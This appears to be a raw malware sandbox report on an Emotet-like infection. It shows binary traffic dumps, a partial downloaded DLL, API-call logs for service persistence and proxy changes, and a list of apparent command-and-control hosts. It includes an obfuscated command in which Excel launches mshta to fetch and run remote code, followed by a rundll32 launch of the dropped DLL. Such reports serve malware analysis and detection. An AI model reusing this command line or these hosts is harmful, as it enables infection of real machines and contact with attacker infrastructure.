ÖØ>ê™êµ¢–ƒÕ-Ôãšönڃ˜‡••Ô†Ã8qaÏUh;Õç£%^ÕÜáÜ)çåÕ¦ó’J'½…æñÃâe¤èÍËÄÿgRšÍW艈åÜC0cŸ¤c3¬žˆêW”"‘#ƒ*Ët‰EéåÛßô(Ÿ¸¡$p)ÍÍ"2aV̓ÂVA{÷á*â\V i¼ï©Ñā9©¸ÕëpÏÓtkÄ&7FLYÁKûñJöFK¯넉Ãû’c`ÛÚ÷’»´!ï¢ã‘€]Ó6 ßô„wÇ8&º–€ŠXF·T‚¹o ÜLb%`X ðÒ[|EM§µ¡½˜C[°Çä2 ü¶vž<T4V¸Õ¢†¢õª×…˜t¬|¶/°:ÀÄs›U⠘x´n7ظ äâ;É»¦‘ÔaÔü rõÔ¯z°ñÇ9Åqz®ž&a{›¨àÎ5yŒ‘軽 2¡½2/ÕSmLõï†SNZ½¼#‹Cæ˜:3ßn í)}3WøñÊÃ7ìPjóÁlȉ#27c=%n/¹Çeù:™¯¼Ò¹7ž7Y§-Qċ¢Hð>Ò«p=Ï2®X [4IÀµÞY]k’lZ®4ËfðÑfæ'‹õ`…öï:çI4ï¸Í_ŸõrqÖ4øµZ8§«YÔÔیŸ¥âè8N[ӈCN†³Û'´[…pžê3­Qƒ˜ðï҈à7Šñ82 -Ôë lªz”8Ãg1cpçØìmvSۆx&ap<³®S €¡okÖ +ãQäª 9ðârd%<qÕÈÕjÁ,yœ«ºx³£Æ¡íü¨ÉL‘¥üz'„Á«.çmœð˂.7 rVv^F ïo #;hY Råˑ0.xˆ<MMíŽÂ.U?´áþÚ „ÊÔâÈãÐ çkQÓìyWôáªèz†ÃÊ4NöùŽL¶/c[ð$ªƜ.ALœ¨ËM¢K5àˆzi ì>8ˆp‘™ëˆX‚BZIñæ÷E«·Sü3k«@œ<-Ê k?–pÍ<’íÃV.9Ú£ðObáÔÞº~ù(*Ֆð¿)™Îk}7–µÂäøUi6{(I”°`v¸˜n'ê|ZT"G:Y‘ žZrlˆfÃG²-œPc%!եȆ“¸Í"édA*ÿ­cÂÆ¡ñR8Ì^ìõÌÊ —/Ðç8sœé̓à´p’ᥠŒÿ ’GãG7!ä'Y¶K‚-acÕþ7m©ÄTCÄ/à§ñô]‘#X'xc[ñ×æÐŒ³ ÖÎ$"Â.Æi§è­-µØasà{(+ÇGµÁ=¼kýu E¤û)¾VÞl•|Tyԇjë ™éÝääD`î$1 ²ØÄ&Ô‘ºtéxF òox[󫏺ÓY†ÿþ¤«ù¢_Ь'VmF$on,#s+}uLxººüÓp”!HMˆ¯Á¯lö÷ŠVTÓüü2Ž™ôöžm!!ç©*}ŠI§1IìGèéŽv¨ëÒrÿ°—³¸²=;ÿœsí‚XLN4á  ~gñZ”_]õ½L"ü.’Æéœ §°s‘Ÿ¥.9ôøW žLmÌ(ˆaOœ©Œeà-o„ò%Æn®9 &­M‘,xB³’ýûÿ¢ÜUGq‚zºäÎKkʕWóÈO+”/<▔Ž×ßé †ŠXãb­isÐ>iÜds„¶¤òA 3IÄÕëb ´gm‰ƒŒ—ˆ·xÀœ-öŽì
Data received O1%8€-gÎ4ÐÜvΩDrÒZÁê9ÂíùOùmC <ï9ÈlªñPU[Æl, 4Ü×ê*1â\³d”FUò«p½s6“‘¤»‹×a&r‚¼èˆ|”`‘Ti2¬PàÁ5FS|èal\#ÈêëâËâк*–äêÖýÓåQӁ='óö¶r¾ˆ1ߨvLô€¿‘±Tìãܶ³3y©ó½Á;äë?œ‹øâd—‘·ZF7p”ÍQÃlqF¤Ž›ûjÙ7‘‹3Þ<
Data received 5}¡i+»´XfÌý>rá7IÉ(>(ø­ò=UÎ؃o£iÀ1W”­ï˛WüxBßhýŽm88/¥9*öO;°= FÕ $³üE¸ü+‘Ø&%meŸ¼ù¶°ƒiU@Í]Dž(5Ŋ{ÖÔn¼{…Ќ}´Ó ä;OÅ=¦Æ%;¯¿‡Xø5^¤¨+“ýOæüüÿS¦ÄW¹dC.á]• G'ÆáŠ®û[ ¾ïx‹>=?Ý`Â[h"JÌ]Þ¹8è ìÛ©ˆRώ*V±£â€‹¶õÄlRZR낭§¦#nяAÅOç9^ô_ÆÙÂ6%ĬlÎ϶\ ™Iñç¹ß†Ôœêý.ã© ¥\óù˜bKO>Ù$8 ×ÁJÈ ^Cé|o:§WÚ¸+ùÊgçC`xÐn”ý_ýNr»c€(¼ó-Û6þ.ØÚ¯NÄè¤ÏOœ.®{Êpá;=w³°>XIÇíÄûlûÚð+@7›ÕúoD,ЩEaÍFÏyÉ]RªhÛîM%âÄâ+]7zÆ GîMô¢õì-DT@n?1: )z\êëfOúG#dYܦqÍ}+öÍC[¤Óź˵0ÚmHñ“ÝÉ7>|ÉPPUÎìJòf$q<*©ƒ*ŠÌo}:àû¦áws÷ô®{Ž§Š̏ï¿ÂZ],…„È!ÂÃÿ¶ÊËdÆîŸ¨Ôˆ#}èçœÑÓÆ –ïÆFŸÌڝû>’Èž'ºæ(òt°Œ;ª!€á[" 6|º—~ô2RA/çÞ/¼ãñ÷Zdo&BçöæÖ*>w®':øûÙ5Žg°®R,Pu•ßk‘ÝӇv_9AÍ©CÀ t1âC)­r~ƒŒ–ô¦¤õ¹¾¾:÷õ4ØhϘggV#ã}x‡. C7æßâÖx±Øò'O€ yø^Ë+1ÙúFëZYäR½h‹Òga¯Íû¾ÂÄXª£¤Ã,_þA"S7Ïõ5L1<·Î»·õ:!õÕEªåŽ¡ ӝ@zäù ‰ÿþsùyççÕ» 4ýD‘='°=v»Qö(–Å;†ÅL?ÖÚ„vAVú6%Ü£¶øj}Ÿå`›A­Í¦,¹ÙÒöÉݑ‚˜.WD‰6œ;ùm;q6XWŠ=Ä|¿»§·4!\È2Ìþuê~*óPÿ±TŽ!b¾ÿƒ»‘TB=~¹â{Õð/<x@•¶P€ÄˆÃï6\S—½«"÷iQ¹kU˻ֹbrÞ£i=Ôѽ¬w|¡VÚòœ?ÔÄ Òy°#Ó,\oÄh>»óbËlΪà ¥çY›þ°…xù5V:ëâ‚-¿N5^<2à #…q”M‹#™ß)÷±þ3nÅÇiûI"ˬåŠy€¿鴁‘üb—½ì¢±· Îa¹Ø÷A*ÅPs±ÛC½Ìm¼I|‚ ç|œW«uÿ³H9ôÂcʏ¶îdÏgó͋´È³Ôùì\Ж÷\ÃT¿0“Ù¼©Ù¿ÃâR­—H)î¾z=ŽÇÊQ¢¶7Õ3Iô’ûäΦEæŒûñ7þr\oßu÷l»ŒÛ¯Çiß²\ä´ÔåÅŎµ… }d3^á{õƒ3ypïÔg‡½—WÄz?ї‘×ï烬TkXUʙÏÙ®x™àÂ(ÞÄÆ³â{^GãÜõƒäÚO'ä7+;V>¿ý3Þo«ncÈåý­|<V.]·å[VÍïIŸ¨§!ßvdMÄáæxÁ6ûðØSH<¾Fa4¡ñ6/`%†3ïUròŽÍóІߙ”1®EWÙh •:‚D¬ö"‚Éo^ì(õS_\ì=QŒ'Z´&<r%NC¨FQ=©9•}v¦ebÁUôúü˜”D ꄭ¯Ò6ºò‹CV+¶‹‰ Í@!]éõäÞo$Hñ,ڍ @ïõÊeFXÀ›[ðöd¢¶‘ÃXð‚W¯{¢)t|ö[œ­ºÒNxþc–Š£  ao<îA°œ f¡©ÖèMºXëèkÞ¶œ$Õ›±MsC·®…ö@îð2³Xäþ½ñ4’0DŽZÎC« +¡q|GñE+nÚ|š#*òh–šXö%íÚ|PL];Ú«Þà%KçdÖٚiz­¤kËYð€ÞâÿK¯³%[V§Ó;3ˆ¤|'ӟñ%òß¿{¿,ޤ©D‘–¡úŽç@däÁ“«õ/à¶XœµÚò¼ðï’ço2šûWŒQÍV†®H6¬Ñ*.ÃÒ3Êâ¬tй†î¶Ç&¦º ñ­Ží¥«:±ª¼«Ù­Ú«\†•œR+‡+ØoÄ®mïÛ¸Xp²š‚þlµðˆr¬š’@£~Áóÿ™PF¼Ê'™)E¬Ø. kÂÁ•ôîr ƒ+‚ǨÊ;½|òÃ6ح͉ð(Ÿ|ÈЗe˜™rHx½ñD¶Ú+;ë(† =PâèÙëŠjt› .ã_À=>ðÿÊ/«5:ô†d«3‚Ó*ޱÕÙËJ .,{Óá:‡k¢hRÂ8J|ý˜G"\—ª °®ürjRèæeí:FL;ÈÆh+¦µ–@ÍtæìTוtۓ¶€Ý®Š-@ƒ¥ˆštÌ"tˆŒåw^Ø+Æ)—Æ*H¾g&-ªN€¨b°=)HtP›oa‹ûfôV˜ØK9|΋D’X%ýÁf®VÁ]¶RÆz> A˜JEB¾þ܊ÌÛTvÞ0وå¬|àBÍBZªðÇ ”8þ’§ 2ƒó4p2˜È¾Òñœ&s¼çî‹*$œîÙ/œ»•#HF#=åâ”g{Ãd¤9bÆÎð³HæÙwU»Sé£NW¾”uVZÌèOüXÕù=.%ZX(ßð†4²"šX²4¶Vru?°<óՒ q+ÎÕêÁLy†å%‚Î(È+YÊ ´(Æ#ªÀÜl‚¼Š.˜Ê»7>'ÂOp¥Xv¡WÐ=‡Ýÿöžvˆychu–yÙi8À`ÓÞR—ÔxR¤w¼*`Vƒ<qQ’±éãŠÈ[µO®2´MÃDZXcò¡^ PÄÞC’¢N4l&¾&!þê“O—?¦.ZJ6¹²ÙûASÜGtÝ\¨>q-ÿˆßU£ódˆÝ³“|D|EÉ3Çèón€p+Y¢©FßžðâfbÑ❦±W8%eìþ²¸NNÉfœ»uh£Ë(L¤Áðš[ßîÄQ½ÕoèœêDægveG¢ŸÌ3FG…VýǧRVsÔïñ,KB[ÜìÏ,à)ÁQk(hr [R­2Ґ<KÐÚ#¨£kNÀ«/îK%$2Y5,ð Ÿ6•Å¢Ó›£#Mnqœ=4¾ëIÏY<ÿ·Ü–<8u¹Nr, ëøc of:×"á Ñ2ˆÍT-IÀ„ü9–!8{P¦ž  ÁŸ ͛æØÚ†Øo¨ƒøCÈà:Û§&>ê:üNæ y¿èKˆŒðÌ·º‹)h¢™e=뉐ê¿Qí(2‹K OYNãrò|G5A/”¯ü¾÷wEÁh¸*ÚûYZ,ó†Z‡¿¼mVøŽ,ÝUãHkP²ÆRmâ&‰mPÀF×~×ÇÙÞ2Jê+7¼Rg4áÆPøÑvä$HN+úʯÇuÖué] É=³wLyÚCÖèŒqÇLò’¨¯Šx‡&Zã>BµPLx?×1í©v=9[¢ÕÞZ3 ´‹Â¡·Ð™è!ìou½±NÏßN¾ó;.˜rfGuÛ,.õîÕ­Òä7QÁ¬¼*q7ˆóÞdWπô¼ã§­M„•-v#'š
Data received oñøªuȎR,`ÉñÚ(H¤õ¾H… &Q ~úã’Á‡ÉrN’Y˜þ¤l¡ yØßQþvÆâþ¢B¢«Í©Tˆ"ž] ¿¡UxºAÂÂøÊÿÆ-Èwd>%hs逧êôuTøÕ|Rj ñ»1*qk…‰Š‘ãñ€Dô—’E®._/5“¾QÃÝàG=ùÎÄuÚcÁ[š^À¡ª¾ñÿº<" ”ñ¦µ…š×BC=‹ÿ+  ŸTrõÚ¸âaî~ÀFÇߋÍõÉÈëÞø0žEüËù ÞÌ›µjî™Õk•ôa^&Q )"ˆ/}-Ü»ZË[DÂQEtD?ºr $‰ #h@|°4kJi L%*ç™ӌâ}Ú9{*ˆ`d.>ÂÞqkøG¬®—é­^ÏÌI낿½Pö.{ÂP' M`ƒ[ 99|ðñ ì\ ¾¤í0²$r/zvR˜Îƒßo$aÁÏZ]“ºÛ(0Œbm%Jê/…ÿØþ¥¬.j@%ÐLŠÚE܍È †ŒÃ¹~Ç’L¿~„8i ؘ™œÇѦÕcŽäðwD öÇ×÷¶oG»°q‚±¿>xÞÇKî Qne…Я±SÌ=º¬ç8«ëßùc{CTëAæhèçnL…¨ÂÑfÙ……r䞗…;g빞¤tkÖl;'õédVYLº¦f|ÌGŠ]±6UI¬€¹ÚZýÃØZ¼f5Jo<‡È‡ï¯Õ9ÛÜÃfƒrI$i¯A„ÏUKFKQ!й:³°7é"¢Ou•Ôkñ\ƒ¼3®®LɤdR¦‘ ‡ŽGܚÏÃ`Ì¥†ZüMƒ}€gðGЩÄ ~ŠÊã(n×(£Ühñ=¾vD€JÏXDX5^øY4½é†û;¡yр’Dð½¶ó`.3"•9 ;AÙýÆâªLŠ Lt¦h¶ø‚z(ĨÖ=ydy¡èö¡!oŒ5­ð^ŒH+̈Zæüêùú¤€jtW6©*O¤yÕÓê>V°·qéÏX¢÷/6ùF¢0ƒ-ðµÓS¦În®êÔB— 7Xº‰ÏX$î*°ŽoEÅúŠàWþF!­T2Y܋ö²>bþ1‚2}h>þš8Òm^³û È= ¿;¶ 𠽇ä`*”Z`»EŽõ[d´«Þ&¾(Z r äUªPj#Æúd(Lwž¤îñøTŸ˜ŸÅð÷Ή¤Á¦ßÀGš"VXʼ*Y2ÿ-¶eï'ï Ð‰ æçñ؛‰ÜX‰ª*ÛS=Ðb–YÄ+²§f]Ü~Àíì*y 'ŽåjÊKãa„‚}‰VÑ™¸« +Lž“<ƒ¢ àú tY(nñø ê%m‚£w.¯>¨˜3R,MÀæX­­ªG]ø‡ù—œÙUÐ?wìÌu¢SÓH…×—f^3C“ôÂ>QµCmÙ·ø1Õ¿Ÿüõ/ï隖êt ¥¾|€)FF”‘Ùôßp^¬Á‘‘¾¥þK[÷ur%¤¶×0 jóE c ¶º‘˜ùÉ@§³¬ÎÌ?&„¢ùÙr´‡¤V9¦6£‹6}‰]îдLQñ*yVM†]=Y 6o$‹^¶isÏ.L…­äõâhS¯'Ù²¡/Œì ½¦íʍ2ƒ#ºPDÆ+è’ÔM!(~•¢=$rX#ªâŠ”»6Šó‚+ÛüX~Jµ. ²o¾=ßd/0/®t¤'t²Üþôÿb;Xª<õmXÇ1\½rK(¬b¼-^ ùo¿*ÄaBJ ÷˜ÐÓ|3Œ•¥à Rm{èÉØ(N%æZÕÚêêÕ¯Ž ÛØý ]P´“ŸGï&KP|<Y¯ºÉB¤ù¿oŽÕN3—ÍW̍-¯¸ŒSh
Data sent GET /fer/fer.png HTTP/1.1 Host: 185.7.214.7 Connection: Keep-Alive
Data sent GET /cgi-bin/toRO9wV0IQu6/ HTTP/1.1 Host: peterpolz.to-create.eu Connection: Keep-Alive
Data sent GET /-/Q7qLFrKJSlabny0snc/ HTTP/1.1 Host: fr7.anbo5288.cc Connection: Keep-Alive
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0
process rundll32.exe
host 103.75.201.2
host 103.8.26.102
host 103.8.26.103
host 104.168.155.129
host 104.251.214.46
host 131.100.24.231
host 158.69.222.101
host 178.63.25.185
host 178.79.147.66
host 185.7.214.7
host 192.254.71.210
host 203.114.109.124
host 207.38.84.195
host 209.59.138.75
host 212.237.17.99
host 217.182.143.207
host 45.118.115.99
host 45.118.135.203
host 45.142.114.231
host 45.176.232.124
host 46.55.222.11
host 51.38.71.0
host 51.68.175.8
host 58.227.42.236
host 79.172.212.216
host 81.0.236.90
service_name wnhaupvwvpxy.oqa service_path C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Mwjkcfdoxralry\wnhaupvwvpxy.oqa",eBMAXxYWmWxr
Time & API Arguments Status Return Repeated

CreateServiceW

service_start_name:
start_type: 2
password:
display_name: wnhaupvwvpxy.oqa
filepath: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Mwjkcfdoxralry\wnhaupvwvpxy.oqa",eBMAXxYWmWxr
service_name: wnhaupvwvpxy.oqa
filepath_r: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Mwjkcfdoxralry\wnhaupvwvpxy.oqa",eBMAXxYWmWxr
desired_access: 2
service_handle: 0x0070bf78
error_control: 0
service_type: 16
service_manager_handle: 0x006fd678
1 7389048 0
file C:\Users\Public\Documents\ssd.dll
Time & API Arguments Status Return Repeated

RegSetValueExA

key_handle: 0x000002d4
regkey_r: ProxyEnable
reg_type: 4 (REG_DWORD)
value: 0
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable
1 0 0
parent_process excel.exe martian_process cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
process mshta.exe useragent Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; .NET4.0C; .NET4.0E)
process rundll32.exe useragent
Time & API Arguments Status Return Repeated

send

buffer: GET /fer/fer.png HTTP/1.1 Host: 185.7.214.7 Connection: Keep-Alive
socket: 1416
sent: 72
1 72 0

send

buffer: GET /cgi-bin/toRO9wV0IQu6/ HTTP/1.1 Host: peterpolz.to-create.eu Connection: Keep-Alive
socket: 1440
sent: 93
1 93 0

send

buffer: GET /-/Q7qLFrKJSlabny0snc/ HTTP/1.1 Host: fr7.anbo5288.cc Connection: Keep-Alive
socket: 1476
sent: 86
1 86 0
Time & API Arguments Status Return Repeated

recv

buffer: HTTP/1.1 200 OK Date: Thu, 20 Jan 2022 00:16:07 GMT Server: Apache/2.4.41 (Ubuntu) Set-Cookie: 61e8a9c79141f=1642637767; expires=Thu, 20-Jan-2022 00:17:07 GMT; Max-Age=60; path=/ Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Thu, 20 Jan 2022 00:16:07 GMT Expires: Thu, 20 Jan 2022 00:16:07 GMT Content-Disposition: attachment; filename="O1MJFAr.dll" Content-Transfer-Encoding: binary Content-Length: 606208 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload MZÿÿ¸@𺴠Í!¸LÍ!This program cannot be run in DOS mode. $è©ÑŸ¬È¿Ì¬È¿Ì¬È¿Ì‹Ò̤ȿ̋Ä̹ȿ̬Ⱦ̡ʿ̲š*̰ȿ̲š<Ì&ȿ̲š;Ì È¿Ì²š-̭ȿ̲š+̭ȿ̲š.Ì­È¿ÌRich¬È¿ÌPELìçaà!  Înšà  ±ø pëOtÊ܀Èx @f d@à,ìÉ@.textÍÎ `.rdata¿ à Ò@@.data¼‰ðNÞ@À.rsrcÈx€z,@@.relocH™ š¦@BU‹ìjÿhzºd¡Pƒì ¡˜)3ÅPEôd£h€èñúƒÄ‰EìÇEüƒ}ìt ‹MìèF‰EèëÇEè‹Eè‰EðÇEüÿÿÿÿ‹Eð‹Môd‰ Y‹å]ÃÌÌÌÌÌÌÌÌÌÌÌU‹ìQ‰Mü¸Ìæ‹å]ÃU‹ìjÿh8°d¡PQ¡˜)3ÅPEôd£‰Mðh€Phê‹Mðè¿ ‹EðÇ|èÇEü‹MðÇìæ‹MðƒÁxèâý‹UðÇBp‹EðÇ@t‹MðÇAlÇEüÿÿÿÿ‹Eð‹Môd‰ Y‹å]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìQ‰Mü‹Müè!‹Eƒàt ‹MüQèÿùƒÄ‹Eü‹å]ÂÌÌÌÌU‹ìjÿh8°d¡PQ¡˜)3ÅPEôd£‰Mð‹EðÇìæÇEü‹MðƒÁxè ÇEüÿÿÿÿ‹Mðè¿ ‹Môd‰ Y‹å]ÃÌU‹ìQ‰Müè‹å]ÃU‹ì¸ê]ÃÌÌÌÌÌÌU‹ìƒì8‰M̋EP‹MÌèHƒøÿuƒÈÿéjh‡j‹MÌèopÇEìjjjjj‹M̃Áxèpè{‹H‰Mèè{‹P ‰U丂·ÈQ‹UäRÿå‰Eôèñz‹@‰Eàèæz‹H ‰Mܺƒ·ÂP‹MÜQÿå‰EøÇEüë ‹UüƒÂ‰Uüƒ}ü}.‹Eü‹L…ô‰MԋŰB|‰E؋MÔQjÿ‹UØRèz‹@x‹èuëËM̉Mð‹ŨÂx‰UÐu ÇEÈë ‹EЋH‰MȋUÈRjh ‹Eð‹H QÿåPèâþ3À‹å]ÂÌÌÌÌÌÌÌÌÌÌU‹ìƒì ‰Môè#z‹@‰Eø‹Mø‹Q ‰Uü‹Eü‹‹Mü‹‚DÿЋå]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìƒì‰Møèãy‹@‰Eü‹Mü‹I èÑ¡‹å]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìjÿhh°d¡PƒìX¡˜)3ÅPEôd£‰Mœ‹Eœ‹HlƒÁ‹Uœ‰Jl‹MœèQÿÿÿ‰Eðƒ}ðt ‹EðƒxTu‹Mœ‹Qlƒê‹Eœ‰PlëN‹Mœ‰M ‹Mœè`‹U RM¤èD'ÇEüE¤P‹Mð‹ITè~͋Uœ‹Blƒè‹Mœ‰AlÇEüÿÿÿÿM¤èÀ'‹Môd‰ Y‹å] ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìƒì‰Mð‹Eð‹HlƒÁ‹Uð‰Jl‹Eð‰Eø‹MðÇAp‹UðÇBtjjh ‹Eø‹H Qÿå‰Eô‹UôR‹EøP‹Mð襉Eüƒ}üt‹MüQ‹UøR‹Mð茉Eüëåhÿÿjh‹Eø‹H Qÿå‹Uð‹Blƒè‹Mð‰Al‹å]ÃÌÌÌÌÌÌÌÌÌÌÌU‹ìƒì‰Mè‹Eèƒxlt‹M Ç釋U‰Uü‹Mèè"þÿÿ‰Eøj‹MøèÕÅ
received: 2920
socket: 1476
1 2920 0
parent_process powershell.exe martian_process "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
parent_process excel.exe martian_process cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
file C:\Windows\SysWOW64\Mwjkcfdoxralry\wnhaupvwvpxy.oqa:Zone.Identifier
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
file C:\Users\Public\Documents\ssd.dll
file C:\Windows\System32\cmd.exe
dead_host 192.168.56.101:49222
dead_host 212.237.17.99:8080
dead_host 192.168.56.101:49196
dead_host 192.168.56.101:49219
dead_host 45.142.114.231:8080
dead_host 203.114.109.124:443
dead_host 81.0.236.90:443
dead_host 192.168.56.101:49223
dead_host 192.168.56.101:49203
dead_host 103.75.201.2:443
dead_host 178.63.25.185:443
dead_host 192.168.56.101:49197
dead_host 104.251.214.46:8080
dead_host 207.38.84.195:8080
dead_host 45.118.135.203:7080
dead_host 192.168.56.101:49212
dead_host 192.168.56.101:49225
dead_host 192.254.71.210:443
dead_host 192.168.56.101:49198
dead_host 45.118.115.99:8080
dead_host 217.182.143.207:443
dead_host 178.79.147.66:8080
dead_host 45.176.232.124:443
dead_host 192.168.56.101:49213
dead_host 192.168.56.101:49226
dead_host 192.168.56.101:49221
dead_host 158.69.222.101:443
dead_host 192.168.56.101:49224
dead_host 58.227.42.236:80
dead_host 79.172.212.216:8080
dead_host 192.168.56.101:49214